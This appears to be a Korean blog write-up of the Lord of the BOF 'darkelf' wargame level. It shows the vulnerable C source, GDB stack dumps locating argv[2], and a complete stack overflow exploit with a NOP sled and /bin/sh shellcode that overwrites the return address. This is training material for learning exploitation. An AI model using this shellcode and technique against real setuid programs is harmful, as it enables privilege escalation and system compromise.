- User : wolfman
- 문제 : darkelf
darkelf.c의 소스코드는 다음과 같습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 | /* The Lord of the BOF : The Fellowship of the BOF - darkelf - egghunter + buffer hunter + check length of argv[1] */ #include <stdio.h> #include <stdlib.h> extern char **environ; main(int argc, char *argv[]) { char buffer[40]; int i; if(argc < 2){ printf("argv error\n"); exit(0); } // egghunter for(i=0; environ[i]; i++) memset(environ[i], 0, strlen(environ[i])); if(argv[1][47] != '\xbf') { printf("stack is still your friend.\n"); exit(0); } // check the length of argument if(strlen(argv[1]) > 48){ printf("argument is too long!\n"); exit(0); } strcpy(buffer, argv[1]); // Vulnerability!!! printf("%s\n", buffer); // buffer hunter memset(buffer, 0, 40); } | cs |
이전 문제와 차이점은 "check the length of argument" 부분에서 argv[1]의 길이를 48자리까지로 제한해 놓았습니다. 그럼으로 이전 문제와 같이 argv[1]을 이용하여 문제를 해결할 수 없습니다. 하지만 argv[2]를 이용하면 문제를 해결할 수 있습니다.
Step 1. GDB를 이용하여 buffer의 크기를 파악하면 40 Byte이고 이어서 SFP와 RET가 각각 4 Byte 씩 위치해 있습니다.
Step 2. 정확한 argv의 메모리 영역을 확인해야 합니다. 다음과 같이 GDB를 이용하여 argv 영역을 파악합니다. buffer 영역에서 특정 지점만큼 떨어져 있는 파란색 영역이 argv[0] 즉, 실행 파일명을 의미하고 초록색 부분이 argv[1] 즉, 첫번째 매개변수를 의미하고 노란색 부분이 argv[2] 즉, 두번째 매개변수를 의미합니다. argv[2]의 위치는 $edx로 찾을 수 있습니다. 그리고 매개변수의 구분자로 0x00이 들어가 있는 것을 확인할 수 있습니다.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 | (gdb) r `python -c 'print "\xbf"*48'` `python -c 'print "A"*40'` Starting program: /home/wolfman/tmp/darkelf `python -c 'print "\xbf"*48'` `python -c 'print "A"*40'` Breakpoint 1, 0x80485f2 in main () (gdb) x/60x $esp 0xbffffa74: 0xbffffa80 0xbffffc0d 0x00000015 0xbfbfbfbf 0xbffffa84: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffa94: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffaa4: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0x00000000 0xbffffab4: 0xbffffaf4 0xbffffb04 0x40013868 0x00000003 0xbffffac4: 0x08048450 0x00000000 0x08048471 0x08048500 0xbffffad4: 0x00000003 0xbffffaf4 0x08048390 0x0804864c . . . 0xbffffbd4: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffbe4: 0x00000000 0x00000000 0x36690000 0x2f003638 0xbffffbf4: 0x656d6f68 0x6c6f772f 0x6e616d66 0x706d742f 0xbffffc04: 0x7261642f 0x666c656b 0xbfbfbf00 0xbfbfbfbf 0xbffffc14: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffc24: 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbfbfbfbf 0xbffffc34: 0xbfbfbfbf 0xbfbfbfbf 0x414100bf 0x41414141 0xbffffc44: 0x41414141 0x41414141 0x41414141 0x41414141 (gdb) 0xbffffc54: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffffc64: 0x00004141 0x00000000 0x00000000 0x00000000 0xbffffc74: 0x00000000 0x00000000 0x00000000 0x00000000 0xbffffc84: 0x00000000 0x00000000 0x00000000 0x00000000 (gdb) x/x $edx 0xbffffc3e: 0x41414141 (gdb) x/20s 0xbffffbf3 0xbffffbf3: "/home/wolfman/tmp/darkelf" 0xbffffc0d: '? <repeats 48 times> 0xbffffc3e: 'A' <repeats 40 times> | cs |
Step 3. payload는 다음과 같습니다. buffer와 SFP 영역을 A 문자로 채우고 RET를 위에서 파악한 0x41로 채워져 있는 argv[2] 부분으로 보내고 해당 부분을 NOP 코드로 채워서 NOP 코드를 지나 shellcode를 실행시키면 문제를 해결할 수 있습니다.
1 2 3 | [wolfman@localhost tmp]$ ../darkelf `python -c 'print "A"*44+"\x44\xfc\xff\xbf"'` `python -c 'print "\x90"*100+"\x31 \xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c \xb0\x0b\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xdc\xff\xff\xff/bin/sh"'` | cs |
'WarGame > LOB' 카테고리의 다른 글
[LOB] orge :: 심볼릭 링크를 이용한 BOF (0) | 2016.04.05 |
---|---|
[LOB] darkelf :: 심볼릭 링크를 통한 argv[0] 길이 제한 우회 (0) | 2016.04.05 |
[LOB] orc :: argv를 이용한 BOF (0) | 2016.04.04 |
[LOB] goblin :: argv를 이용한 BOF (0) | 2016.04.04 |
[LOB] cobolt :: 환경변수를 이용한 BOF (0) | 2016.04.04 |